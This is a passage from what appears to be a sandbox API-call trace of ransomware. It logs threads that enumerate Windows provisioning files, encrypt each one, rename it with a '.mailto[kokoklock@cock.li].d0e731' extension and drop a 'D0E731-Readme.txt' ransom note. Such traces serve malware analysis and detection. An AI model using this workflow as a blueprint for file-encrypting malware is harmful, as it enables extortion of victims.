lpNumberOfBytesWritten=0x299bfe34*=0x8, lpOverlapped=0x0) returned 1 [0083.914] WriteFile (in: hFile=0x764, lpBuffer=0x299bfe4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x299bfe34, lpOverlapped=0x0 | out: lpBuffer=0x299bfe4c*, lpNumberOfBytesWritten=0x299bfe34*=0x4, lpOverlapped=0x0) returned 1 [0083.914] WriteFile (in: hFile=0x764, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x299bfe34, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x299bfe34*=0x4, lpOverlapped=0x0) returned 1 [0083.914] WriteFile (in: hFile=0x764, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x299bfe34, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x299bfe34*=0x6c, lpOverlapped=0x0) returned 1 [0083.914] WriteFile (in: hFile=0x764, lpBuffer=0x342d6b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x299bfe34, lpOverlapped=0x0 | out: lpBuffer=0x342d6b8*, lpNumberOfBytesWritten=0x299bfe34*=0x20, lpOverlapped=0x0) returned 1 [0083.914] WriteFile (in: hFile=0x764, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x299bfe34, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x299bfe34*=0x4, lpOverlapped=0x0) returned 1 [0083.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6b8) returned 1 [0083.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6e0) returned 1 [0083.915] CloseHandle (hObject=0x764) returned 1 [0083.915] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x34226e8 [0083.915] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" [0083.915] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0083.915] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0083.915] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0083.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0083.916] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0083.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0083.916] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\" [0083.916] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\D0E731-Readme.txt" [0083.916] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0083.916] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x764 [0083.916] WriteFile (in: hFile=0x764, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x299bfe30, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x299bfe30*=0x481, lpOverlapped=0x0) returned 1 [0083.917] CloseHandle (hObject=0x764) returned 1 [0083.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0083.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f80a8) returned 1 [0083.917] RtlExitUserThread (Status=0x1) Thread: id = 1179 os_tid = 0x1318 [0083.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34866d0 [0083.484] wcscpy (in: _Dest=0x34866d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime" [0083.484] wcscat (in: _Dest=0x34866d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\" [0083.484] wcscat (in: _Dest=0x34866d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\*" [0083.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34a10b0 [0083.484] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\*", lpFindFileData=0x34a10b0 | out: lpFindFileData=0x34a10b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0218 [0083.899] wcscmp (_String1=".", _String2=".") returned 0 [0083.899] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x34a10b0 | out: lpFindFileData=0x34a10b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.899] wcscmp (_String1="..", _String2=".") returned 1 [0083.899] wcscmp (_String1="..", _String2="..") returned 0 [0083.899] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x34a10b0 | out: lpFindFileData=0x34a10b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0083.899] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml", _String2=".") returned 1 [0083.899] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml", _String2="..") returned 1 [0083.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x3429cf0 [0083.899] wcscpy (in: _Dest=0x3429cf0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime" [0083.899] wcscat (in: _Dest=0x3429cf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\" [0083.900] wcscat (in: _Dest=0x3429cf0, _Source="0__Power_EnergyEstimationEngine.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" [0084.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3429cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764 [0084.792] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x34a10b0 | out: lpFindFileData=0x34a10b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0084.793] FindClose (in: hFindFile=0x33e0218 | out: hFindFile=0x33e0218) returned 1 [0084.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a10b0) returned 1 [0084.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34866d0) returned 1 [0084.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431cb8) returned 1 [0084.793] RtlExitUserThread (Status=0x0) Thread: id = 1180 os_tid = 0xff4 [0083.484] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml")) returned 0x20 [0083.880] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0083.880] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0083.880] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x29abf7cc | out: lpFileSize=0x29abf7cc*=258) returned 1 [0083.880] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0xfe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.880] ReadFile (in: hFile=0x774, lpBuffer=0x29abf7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29abf79c, lpOverlapped=0x0 | out: lpBuffer=0x29abf7a0*, lpNumberOfBytesRead=0x29abf79c*=0x4, lpOverlapped=0x0) returned 1 [0083.881] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.881] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.881] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d6b8 [0083.882] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d258 [0083.882] NtQuerySystemTime (in: CurrentTime=0x29abf778 | out: CurrentTime=0x29abf778*=132121176417735369) returned 0x0 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x6e13c8bc [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x42df5579 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0xbe205cc7 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x29ff422d [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x10c2ed2f [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x7f825f14 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x4085afaa [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0xd534bd08 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0xd293291f [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x2877146d [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x6c25ee4a [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x9d52dcc8 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0xa17cafd6 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x2bcb990d [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x750c2245 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x87ec713a [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x429fd36b [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x820742f5 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x16bb3ad0 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x1c9bff71 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x259f8ef4 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0xd0d855fc [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x264284e9 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0xb28fd31 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x943ba8b4 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x4091bc08 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x4f614fc8 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0xa3e65777 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x39d283d1 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x764b28b4 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0x33648c92 [0083.882] RtlRandom (in: Seed=0x29abf784 | out: Seed=0x29abf784) returned 0xd27e382f [0083.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0083.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.893] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0083.893] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0083.893] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.893] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.893] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.893] ReadFile (in: hFile=0x774, lpBuffer=0x348d230, nNumberOfBytesToRead=0x102, lpNumberOfBytesRead=0x29abf778, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x29abf778*=0x102, lpOverlapped=0x0) returned 1 [0083.893] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29abf740 | out: lpNewFilePointer=0x0) returned 1 [0083.893] WriteFile (in: hFile=0x774, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x29abf774, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x29abf774*=0x102, lpOverlapped=0x0) returned 1 [0083.894] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d280 [0083.894] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.894] WriteFile (in: hFile=0x774, lpBuffer=0x342d280*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29abf770, lpOverlapped=0x0 | out: lpBuffer=0x342d280*, lpNumberOfBytesWritten=0x29abf770*=0x20, lpOverlapped=0x0) returned 1 [0083.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d280) returned 1 [0083.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0083.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0083.894] WriteFile (in: hFile=0x774, lpBuffer=0x342d6e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29abf79c, lpOverlapped=0x0 | out: lpBuffer=0x342d6e0*, lpNumberOfBytesWritten=0x29abf79c*=0x8, lpOverlapped=0x0) returned 1 [0083.894] WriteFile (in: hFile=0x774, lpBuffer=0x29abf7b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29abf79c, lpOverlapped=0x0 | out: lpBuffer=0x29abf7b4*, lpNumberOfBytesWritten=0x29abf79c*=0x4, lpOverlapped=0x0) returned 1 [0083.894] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29abf79c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x29abf79c*=0x4, lpOverlapped=0x0) returned 1 [0083.894] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29abf79c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x29abf79c*=0x6c, lpOverlapped=0x0) returned 1 [0083.894] WriteFile (in: hFile=0x774, lpBuffer=0x342d6b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29abf79c, lpOverlapped=0x0 | out: lpBuffer=0x342d6b8*, lpNumberOfBytesWritten=0x29abf79c*=0x20, lpOverlapped=0x0) returned 1 [0083.894] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29abf79c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x29abf79c*=0x4, lpOverlapped=0x0) returned 1 [0083.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6b8) returned 1 [0083.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6e0) returned 1 [0083.895] CloseHandle (hObject=0x774) returned 1 [0083.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x34226e8 [0083.895] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" [0083.895] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0083.895] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0083.895] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0083.896] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0083.896] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0083.896] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0083.896] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\" [0083.896] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\D0E731-Readme.txt" [0083.896] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0083.896] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0083.896] WriteFile (in: hFile=0x774, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x29abf798, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x29abf798*=0x481, lpOverlapped=0x0) returned 1 [0083.897] CloseHandle (hObject=0x774) returned 1 [0083.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0083.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ec8) returned 1 [0083.897] RtlExitUserThread (Status=0x1) Thread: id = 1181 os_tid = 0xecc [0083.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3486860 [0083.485] wcscpy (in: _Dest=0x3486860, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime" [0083.485] wcscat (in: _Dest=0x3486860, _Source="\\" | out: 